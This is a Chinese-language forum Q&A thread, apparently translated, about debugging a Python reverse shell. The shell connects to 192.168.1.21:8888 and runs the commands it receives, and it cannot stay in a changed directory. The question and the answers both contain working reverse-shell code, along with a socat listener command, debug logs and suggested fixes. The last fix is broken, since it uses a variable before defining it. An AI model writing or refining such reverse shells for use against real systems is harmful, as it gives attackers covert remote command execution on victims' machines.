为什么我的反向shell不能进入其他目录



我可以在目录中做大多数事情,但我无法从目录中cd出来,尝试/bin/sh会导致shell冻结。

import os
import socket 
import time 
import subprocess
SERVER = '192.168.1.21'
PORT = 8888 
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((SERVER, PORT))
while True:

BUFFER = sock.recv(2048).decode()
CMD = subprocess.Popen(BUFFER, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
CMD_RESULT = CMD.stdout.read() + CMD.stderr.read()
sock.send(CMD_RESULT)

为了更好地说明正在发生的事情,我扩展了您的脚本以进行一些调试日志记录:

import socket
import subprocess
import logging
logging.basicConfig(level=logging.DEBUG)
SERVER = '192.168.1.21'
PORT = 8888
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((SERVER, PORT))
while True:
BUFFER = sock.recv(2048).decode()
CMD = subprocess.Popen(BUFFER, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
logging.debug(f"{CMD.pid} : /bin/sh -c "{CMD.args.strip()}"")
CMD_RESULT = CMD.stdout.read() + CMD.stderr.read()
logging.debug(CMD_RESULT)
sock.send(CMD_RESULT)

我在这样的终端中运行了反向shell:

socat tcp-listen:8888,reuseaddr,fork stdin

我运行了以下命令:lscd ..lscd .. && ls/bin/sh

这些在我的python终端中产生了以下输出:

DEBUG:root:61479 : /bin/sh -c "ls"
DEBUG:root:b'reverse.pynvenvn'
DEBUG:root:61481 : /bin/sh -c "cd .."
DEBUG:root:b''
DEBUG:root:61482 : /bin/sh -c "ls"
DEBUG:root:b'reverse.pynvenvn'
DEBUG:root:61484 : /bin/sh -c "cd .. && ls"
DEBUG:root:b'reverseshelln'
DEBUG:root:61486 : /bin/sh -c "/bin/sh"

正如您所看到的,每一个subprocess.Popen行都会产生一个带有新pid的新进程(在这个特定的输出中,它是61479、61486等…(

当生成一个新的shell时,它将继承当前的工作目录。运行cd ..成功完成,然后该shell实例退出。下面的ls命令在上一个命令启动的继承工作目录中获取一个新的shell。运行cd .. && ls也成功完成。cd和ls都在同一个shell实例中,因此可以获得下一个目录的ls输出。

/bin/sh命令挂起是因为它看到有一个标准输入保持打开,所以它正在等待输入。您的python脚本不会将任何内容传递给它启动的进程的stdin,而是等待进程完成。这就造成了一种情况,在这种情况下,你会得到一个挂起的过程,直到它被外部中断。

因为每次发送命令时,都会在原始文件夹中创建一个新的shell。

要设置其他工作目录,您必须发送cd /to/other/dir && yourcommand

您可以尝试为新的shell终端设置根文件夹:

subprocess.Popen(BUFFER, shell=True, cwd="/", stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

或者在程序启动时打开终端:

import os
import socket 
import time 
import subprocess
SERVER = '192.168.1.21'
PORT = 8888 
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((SERVER, PORT))
CMD = subprocess.Popen(BUFFER, shell=True, cwd="/", stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
while True:

BUFFER = sock.recv(2048).decode()
CMD_RESULT = CMD.communicate(input=BUFFER)[0]
sock.send(CMD_RESULT)

相关内容

  • 没有找到相关文章

最新更新